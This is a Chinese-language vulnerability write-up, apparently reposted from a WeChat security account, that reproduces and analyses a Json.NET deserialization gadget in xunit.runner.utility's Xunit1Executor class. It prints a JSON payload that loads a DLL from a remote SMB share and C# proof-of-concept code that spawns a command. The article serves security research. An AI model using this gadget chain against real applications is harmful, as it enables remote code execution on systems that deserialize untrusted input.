01
Xunit1Executor漏洞复现
Xunit.Net 是一款 .NET平台免费开源的单元测试框架,常用于并行测试和数据驱动测试。目前支持 .Net Framework、.Net Core、.Net Standard、UWP、Xamarin 等平台。这个组件中的 WindowsLibrary 类在反序列化时可加载UNC路径下的非托管dll,从而触发任意命令执行漏洞,下面我们将详细介绍漏洞原理及复现过程。
xunit组件可以在Nuget上获取,打开项目包管理器,浏览名为 “xunit.runner.utility” 的包,点击安装即可。接着使用Ysoserial生成Payload,具体Payload代码如下所示
{
'$type'
:
'Xunit.Xunit1Executor, xunit.runner.utility.net'
,
'useAppDomain'
:
true
,
'testAssemblyFileName'
:
'\192.168.101.86\Poc\xunit.dll'
}
上述代码通过远程SMB协议建立主机之间的通信后,再加载基于C#实现的托管xunit.dll文件,而xunit.dll实现上需要Executor类
public
class
Executor
{
public
Executor
(
string
poc
)
{
ProcessStartInfo psi =
new
ProcessStartInfo(
"cmd.exe"
,
"/c calc.exe"
);
Process proc =
new
Process();
proc.StartInfo = psi;
proc.Start();
}
}
最后调用JSON.Net反序列化执行,虽然抛出异常,但不影响触发命令执行,如图所示
02
漏洞分析
反编译打开xunit.runner.utility.dll分析源代码,快速定位到 Xunit1Executor类,该类创建对象时会调用默认的构造方法
图中Xunit1Executor构造方法创建一个新的 AppDomain用来加载单元测试用例提供的.NET程序集。程序集的路径由Xunit1Executor.GetXunitAssemblyPath方法获取,如图所示。
从代码实现上可以看出加载的文件名为 xunit.dll,因此我们在反序列化构建Payload时也需要提供同名的dll文件。接着构造方法里使用CreateObject方法从xunit.dll程序集中创建类型为 Xunit.Sdk.Executor的对象
this
.executor =
this
.CreateObject(
"Xunit.Sdk.Executor"
, new
object
[]
{
testAssemblyFileName
});
跟进CreateObject方法的定义,发现是定义在IAppDomainManager 接口中,AppDomainManager_AppDomain类实现了IAppDomainManager 接口,也重写了CreateObject方法,如图所示。
内部还是调用了AppDomain.CreateInstanceAndUnwrap 方法在AppDomain中创建了Xunit.Sdk.Executor对象,AppDomain.CreateInstanceAndUnwrap方法可以通过反射程序集的方式创建对象从而执行命令.本文PDF版已经发布于dot.Net安全矩阵星球知识库,感兴趣的师傅请自取。
原文始发于微信公众号(dotNet安全矩阵):.NET 反序列化Xunit1Executor漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论